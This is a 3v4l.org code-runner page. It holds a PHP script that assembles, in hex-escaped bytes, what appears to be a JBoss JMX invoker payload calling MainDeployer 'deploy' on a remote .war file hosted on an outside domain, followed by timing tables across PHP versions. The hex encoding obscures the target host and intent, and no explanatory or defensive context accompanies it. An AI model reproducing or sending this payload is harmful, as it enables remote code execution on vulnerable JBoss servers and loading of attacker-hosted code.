3v4l.org

run code in 300+ PHP versions simultaneously
<?php $url="http://lololololo.lo.lo/l/o.lol"; $url_len=pack("n",strlen($url)); printf("url_len:%s\n\n",strlen(pack("n",strlen($url)))); $frag_i= "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73". "\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72". "\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f". "\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77". "\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76". "\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2". "\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75". "\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e". "\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00". "\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62". "\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d". "\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc". "\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77"; $frag_ii="\x00"; $frag_iii= "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e". "\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f". "\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00". "\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e". "\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b". "\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73". "\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65". "\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00". "\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00". "\x01\x74\x00\x1F\x68\x74\x74\x70\x3a\x2f\x2f\x61\x62\x6b\x73\x70". "\x72\x69\x6e\x67\x73\x2e\x63\x6f\x2e\x7a\x61\x2f\x6d\x2f\x78\x2e". "\x77\x61\x72\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61". "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d". "\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61". "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67"; $frag_iv= "\x0d\xd3". "\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67". "\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f". "\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8". "\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64". "\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05". "\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78". "\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04". "\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e". "\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74". "\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02". "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00". "\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f". "\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73". "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d". "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03". "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62". "\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69". "\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78". "\x78"; $data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii)).$frag_iii.$frag_iv; printf("frag_iii_v:%s\n\nfrag_iii_n:%s\n\ndata:%s\n\n",strlen(pack("v", strlen($frag_iii)+8)), strlen(pack("n",strlen($frag_iii))), strlen($data));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.00318.43
8.3.50.0150.00321.02
8.3.40.0110.00418.67
8.3.30.0100.00320.29
8.3.20.0050.00322.14
8.3.10.0040.00422.10
8.3.00.0030.00522.51
8.2.180.0130.00716.75
8.2.170.0110.00422.96
8.2.160.0130.00721.98
8.2.150.0030.00524.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0040.00420.80
8.2.110.0030.00621.06
8.2.100.0000.01217.84
8.2.90.0040.00419.05
8.2.80.0040.00417.97
8.2.70.0030.00517.63
8.2.60.0060.00317.93
8.2.50.0040.00418.10
8.2.40.0000.00820.46
8.2.30.0000.00719.51
8.2.20.0000.00817.70
8.2.10.0040.00417.77
8.2.00.0100.00017.63
8.1.280.0110.00425.92
8.1.270.0000.00823.99
8.1.260.0030.00526.35
8.1.250.0070.00028.09
8.1.240.0040.00422.62
8.1.230.0080.00417.83
8.1.220.0000.00717.79
8.1.210.0080.00018.77
8.1.200.0060.00317.35
8.1.190.0000.00917.35
8.1.180.0090.00018.10
8.1.170.0000.01218.32
8.1.160.0000.00722.05
8.1.150.0000.00818.61
8.1.140.0050.00217.37
8.1.130.0030.00317.78
8.1.120.0000.00717.44
8.1.110.0040.00417.48
8.1.100.0050.00317.51
8.1.90.0040.00417.49
8.1.80.0000.00817.40
8.1.70.0070.00017.37
8.1.60.0030.00617.52
8.1.50.0030.00517.54
8.1.40.0040.00717.53
8.1.30.0000.00817.58
8.1.20.0000.00817.63
8.1.10.0000.00817.51
8.1.00.0000.00817.44
8.0.300.0000.00718.77
8.0.290.0000.00816.75
8.0.280.0040.00418.38
8.0.270.0040.00417.28
8.0.260.0070.00016.75
8.0.250.0000.00716.98
8.0.240.0000.00816.91
8.0.230.0040.00416.94
8.0.220.0000.00716.91
8.0.210.0040.00416.91
8.0.200.0030.00316.98
8.0.190.0040.00416.96
8.0.180.0000.00716.84
8.0.170.0030.00516.86
8.0.160.0070.00016.91
8.0.150.0000.00716.69
8.0.140.0070.00416.86
8.0.130.0000.00613.32
8.0.120.0000.00716.89
8.0.110.0040.00416.95
8.0.100.0000.00716.85
8.0.90.0070.00016.78
8.0.80.0070.01016.83
8.0.70.0000.00816.91
8.0.60.0000.00716.86
8.0.50.0000.00716.86
8.0.30.0130.00517.12
8.0.20.0090.00917.40
8.0.10.0080.00017.04
8.0.00.0130.00916.63
7.4.330.0000.00616.71
7.4.320.0000.00616.62
7.4.300.0000.00716.64
7.4.290.0000.00716.61
7.4.280.0040.00316.51
7.4.270.0040.00416.52
7.4.260.0000.00513.20
7.4.250.0060.00316.58
7.4.240.0020.00616.57
7.4.230.0000.00716.66
7.4.220.0030.01716.36
7.4.210.0080.00816.51
7.4.200.0000.00716.55
7.4.190.0000.00716.70
7.4.160.0120.00316.31
7.4.150.0080.01117.40
7.4.140.0130.01017.86
7.4.130.0090.01216.43
7.4.120.0070.01116.54
7.4.110.0000.01716.54
7.4.100.0090.00916.47
7.4.90.0100.00716.53
7.4.80.0130.00619.39
7.4.70.0030.01316.49
7.4.60.0080.01116.45
7.4.50.0030.00616.55
7.4.40.0090.00622.77
7.4.30.0070.01016.58
7.4.00.0000.01314.85
7.3.330.0030.00313.11
7.3.320.0030.00313.28
7.3.310.0080.00016.21
7.3.300.0030.00316.45
7.3.290.0060.01016.38
7.3.280.0110.00816.37
7.3.270.0120.00617.40
7.3.260.0060.01316.32
7.3.250.0100.00816.41
7.3.240.0100.00916.31
7.3.230.0120.00816.45
7.3.210.0090.01216.42
7.3.200.0160.00719.39
7.3.190.0100.00716.39
7.3.180.0100.01116.40
7.3.170.0100.00616.31
7.3.160.0100.00716.37
7.3.120.0070.00714.76
7.2.330.0180.00016.46
7.2.320.0110.00716.52
7.2.310.0170.00516.66
7.2.300.0060.01816.63
7.2.290.0060.01216.72
7.2.60.0030.00917.03
7.2.00.0030.01019.46
7.1.200.0030.00915.72
7.1.100.0070.00717.92
7.1.70.0030.00717.03
7.1.60.0000.01016.89
7.1.50.0040.00716.95
7.1.00.0100.05722.44
7.0.200.0070.00716.82
7.0.140.0030.07722.02
7.0.100.0200.06720.09
7.0.90.0130.07719.89
7.0.80.0030.08719.93
7.0.70.0130.07720.01
7.0.60.0100.07319.96
7.0.50.0030.06020.37
7.0.40.0070.08020.14
7.0.30.0170.05020.07
7.0.20.0100.05020.01
7.0.10.0000.08719.95
7.0.00.0130.08020.08
5.6.280.0030.07321.09
5.6.250.0030.04720.54
5.6.240.0100.07320.71
5.6.230.0130.07320.55
5.6.220.0130.07720.67
5.6.210.0070.07320.50
5.6.200.0170.06720.98
5.6.190.0070.08321.04
5.6.180.0070.05721.13
5.6.170.0070.04720.95
5.6.160.0000.08320.93
5.6.150.0100.04320.93
5.6.140.0070.08721.17
5.6.130.0030.04321.10
5.6.120.0100.08321.03
5.6.110.0200.06720.95
5.6.100.0030.05021.14
5.6.90.0130.04320.95
5.6.80.0100.06320.35
5.6.70.0100.07720.36
5.6.60.0100.07720.33
5.6.50.0130.06320.41
5.6.40.0070.08020.39
5.6.30.0030.07720.39
5.6.20.0130.07320.43
5.6.10.0030.06020.50
5.6.00.0100.07720.36
5.5.380.0100.07320.47
5.5.370.0070.07020.56
5.5.360.0030.06320.46
5.5.350.0130.08020.36
5.5.340.0030.07020.85
5.5.330.0070.08020.82
5.5.320.0030.08320.95
5.5.310.0070.05020.91
5.5.300.0130.06320.83
5.5.290.0070.07720.89
5.5.280.0030.06320.93
5.5.270.0100.08020.61
5.5.260.0100.07320.88
5.5.250.0070.09020.71
5.5.240.0030.07020.29
5.5.230.0200.07020.19
5.5.220.0100.05020.16
5.5.210.0100.07320.16
5.5.200.0170.03720.29
5.5.190.0070.07720.00
5.5.180.0030.08320.16
5.5.160.0030.08320.17
5.5.150.0070.08020.15
5.5.140.0130.07320.18
5.5.130.0030.07020.20
5.5.120.0070.08320.18
5.5.110.0100.05320.23
5.5.100.0130.07320.00
5.5.90.0070.07020.11
5.5.80.0070.06720.08
5.5.70.0130.06320.08
5.5.60.0030.08319.93
5.5.50.0170.06320.07
5.5.40.0070.06720.06
5.5.30.0130.05320.09
5.5.20.0070.07720.11
5.5.10.0030.05020.07
5.5.00.0000.04319.96
5.4.450.0000.05719.38
5.4.440.0030.08019.45
5.4.430.0000.08319.27
5.4.420.0100.07319.46
5.4.410.0130.06719.17
5.4.400.0030.05019.10
5.4.390.0000.06019.02
5.4.380.0030.08319.05
5.4.370.0200.06018.92
5.4.360.0030.08319.03
5.4.350.0000.05319.12
5.4.340.0070.07019.08
5.4.320.0100.06718.96
5.4.310.0070.07718.95
5.4.300.0030.08019.04
5.4.290.0130.06319.02
5.4.280.0130.07719.11
5.4.270.0030.08019.05
5.4.260.0030.05719.14
5.4.250.0030.06018.80
5.4.240.0100.07319.09
5.4.230.0100.07719.11
5.4.220.0100.07019.02
5.4.210.0070.07319.11
5.4.200.0030.07019.22
5.4.190.0000.05718.80
5.4.180.0030.08318.93
5.4.170.0100.05319.03
5.4.160.0170.06718.88
5.4.150.0200.06318.88
5.4.140.0170.05016.34
5.4.130.0070.05016.33
5.4.120.0030.07316.34
5.4.110.0100.03316.30
5.4.100.0070.04016.45
5.4.90.0100.08016.32
5.4.80.0170.02316.41
5.4.70.0070.06316.36
5.4.60.0100.07016.30
5.4.50.0100.03716.16
5.4.40.0070.04716.42
5.4.30.0030.07016.27
5.4.20.0130.05316.41
5.4.10.0100.06716.20
5.4.00.0070.07315.70
5.3.290.0030.07014.69
5.3.280.0070.07314.44
5.3.270.0030.07714.63
5.3.260.0030.06014.58
5.3.250.0130.07314.58
5.3.240.0030.06314.61
5.3.230.0100.06714.55
5.3.220.0100.07014.57
5.3.210.0100.04014.57
5.3.200.0070.03314.50
5.3.190.0100.07014.57
5.3.180.0100.05014.54
5.3.170.0000.08314.59
5.3.160.0130.07014.45
5.3.150.0030.07714.48
5.3.140.0100.06314.43
5.3.130.0170.06714.56
5.3.120.0130.06314.52
5.3.110.0070.08014.50
5.3.100.0000.07013.89
5.3.90.0070.06713.95
5.3.80.0070.07014.02
5.3.70.0000.08313.90
5.3.60.0100.07313.79
5.3.50.0070.04013.97
5.3.40.0070.07013.72
5.3.30.0100.06313.90
5.3.20.0070.07013.66
5.3.10.0030.04013.66
5.3.00.0000.05013.66
5.2.170.0000.06713.66
5.2.160.0030.04013.66
5.2.150.0100.06013.66
5.2.140.0030.06013.66
5.2.130.0000.06313.66
5.2.120.0030.05713.66
5.2.110.0030.05313.66
5.2.100.0030.03013.66
5.2.90.0000.03013.66
5.2.80.0030.03313.66
5.2.70.0030.06313.66
5.2.60.0000.06713.66
5.2.50.0000.03713.66
5.2.40.0000.04313.66
5.2.30.0030.05313.66
5.2.20.0030.06313.66
5.2.10.0030.06313.66
5.2.00.0000.04713.66
5.1.60.0130.04013.66
5.1.50.0070.02713.66
5.1.40.0000.06013.66
5.1.30.0070.04013.66
5.1.20.0100.05313.66
5.1.10.0000.04713.66
5.1.00.0000.06013.66
5.0.50.0000.04313.66
5.0.40.0030.04313.66
5.0.30.0000.05013.66
5.0.20.0070.02713.66
5.0.10.0000.04013.66
5.0.00.0130.05313.66
4.4.90.0070.02013.66
4.4.80.0000.02013.66
4.4.70.0000.03713.66
4.4.60.0000.02313.66
4.4.50.0000.03313.66
4.4.40.0000.05313.66
4.4.30.0030.01713.66
4.4.20.0030.03313.66
4.4.10.0070.02713.66
4.4.00.0000.04013.66
4.3.110.0030.02013.66
4.3.100.0000.03013.66
4.3.90.0030.03313.66
4.3.80.0000.05013.66
4.3.70.0000.03013.66
4.3.60.0000.04013.66
4.3.50.0000.03013.66
4.3.40.0070.04013.66
4.3.30.0030.02713.66
4.3.20.0000.03713.66
4.3.10.0000.03713.66
4.3.00.0000.02313.66

preferences:
48.4 ms | 401 KiB | 5 Q